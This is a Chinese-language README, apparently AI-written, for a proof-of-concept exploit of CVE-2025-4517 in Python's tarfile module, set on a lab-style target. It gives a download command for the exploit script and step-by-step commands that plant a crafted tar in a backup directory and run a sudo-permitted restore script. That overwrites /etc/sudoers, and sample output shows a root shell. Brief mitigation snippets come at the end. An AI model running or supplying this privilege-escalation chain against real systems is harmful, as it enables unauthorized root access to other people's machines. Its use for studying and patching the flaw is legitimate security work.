本利用及描述由AI编写。如果发现任何错误或问题,请告知我!本利用已测试并确认有效。感谢!
本利用利用了 CVE-2025-4517,这是 Python tarfile 模块中的一个严重漏洞,通过组合符号链接路径遍历与硬链接操纵,可实现任意文件写入。该漏洞绕过了 Python 3.12 中引入的 filter="data" 保护机制。
该漏洞利用了 Python tarfile.extractall() 在处理以下交互时的缺陷:
filter="data" 参数阻止直接的符号链接逃逸,但硬链接技术绕过了这一防护1. 创建深层嵌套目录(路径混淆)
└─ 使用247个字符的目录名重复16层
2. 构建符号链接链以进行路径遍历
└─ 创建解析到目录树上方层的符号链接
3. 将符号链接逃逸到目标目录(/etc)
└─ 最终符号链接指向提取边界之外
4. 创建指向逃逸符号链接的硬链接
└─ 硬链接: "sudoers_link" → "escape/sudoers" → "/etc/sudoers"
5. 向硬链接写入内容
└─ 写入 "sudoers_link" 实际写入到 /etc/sudoers
脚本: /opt/backup_clients/restore_backup_clients.py
# 易受攻击的代码片段
with tarfile.open(backup_path, "r") as tar:
tar.extractall(path=staging_dir, filter="data")
Sudo 权限:
wacky ALL=(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
/opt/backup_clients/backups/ 的写权限# 下载利用
wget https://raw.githubusercontent.com/AzureADTrent/CVE-2025-4517-POC/refs/heads/main/CVE-2025-4517-POC.py
# 移动到目标系统
# 运行利用
./exploit.py
# 或使用 Python
python3 exploit.py
如果你希望手动执行每一步:
# 1. 创建利用 tar 文件
python3 exploit.py --create-only
# 2. 部署到目标
cp /tmp/cve_2025_4517_exploit.tar /opt/backup_clients/backups/backup_9999.tar
# 3. 通过易受攻击脚本执行
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py \
-b backup_9999.tar \
-r restore_exploit
# 4. 验证 sudoers 修改
sudo cat /etc/sudoers | grep "$(whoami)"
# 5. 获取 root 权限
sudo /bin/bash
╔═══════════════════════════════════════════════════════════╗
║ CVE-2025-4517 Tarfile Exploit ║
║ Privilege Escalation via Symlink + Hardlink Bypass ║
╚═══════════════════════════════════════════════════════════╝
[*] 目标用户: wacky
[*] 为用户 wacky 创建利用 tar 文件
[*] 阶段1: 构建嵌套目录结构...
[*] 阶段2: 创建符号链接链用于路径遍历...
[*] 阶段3: 创建逃逸到 /etc 的符号链接...
[*] 阶段4: 创建指向 /etc/sudoers 的硬链接...
[*] 阶段5: 写入 sudoers 条目...
[+] 利用 tar 文件已创建: /tmp/cve_2025_4517_exploit.tar
[*] 部署利用到: /opt/backup_clients/backups/backup_9999.tar
[+] 利用部署成功
[*] 通过易受攻击脚本触发提取...
[+] 备份: backup_9999.tar
[+] 暂存目录: /opt/backup_clients/restored_backups/restore_pwn_9999
[+] 提取完成于 /opt/backup_clients/restored_backups/restore_pwn_9999
[+] 提取完成
[*] 验证利用成功...
[+] 成功!用户 'wacky' 已添加到 sudoers
[+] 条目: wacky ALL=(ALL) NOPASSWD: ALL
============================================================
[+] 利用成功!
[+] 用户 'wacky' 现在拥有完整 sudo 权限
[+] 使用以下命令获取 root 权限: sudo /bin/bash
============================================================
[?] 现在生成 root shell? (y/n): y
[*] 正在生成 root shell...
[*] 执行: sudo /bin/bash
root@box:/tmp# whoami
root
root@box:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
/etc/sudoers python3 --version # 检查版本
# 在提取前检查可疑成员
for member in tar.getmembers():
if member.islnk() or member.issym():
raise SecurityError("不允许符号链接/硬链接")
import os
for member in tar.getmembers():
member_path = os.path.join(extract_path, member.name)
if not member_path.startswith(os.path.abspath(extract_path)):
raise SecurityError("检测到路径遍历")
# 移除或限制备份脚本的 sudo 访问
visudo
# 在提取前检查 tar 内容
tar -tzf archive.tar | grep -E '\.\./|^/'
/etc/sudoers 等关键文件 # 设置 AIDE 或类似 IDS
aide --check
本利用仅用于教育目的,并适用于以下场景:
作者不对本代码的滥用承担任何责任。
原始研究:多位安全研究人员(参见参考)
MIT 许可证 - 详见 LICENSE 文件
最后更新: 2026年3月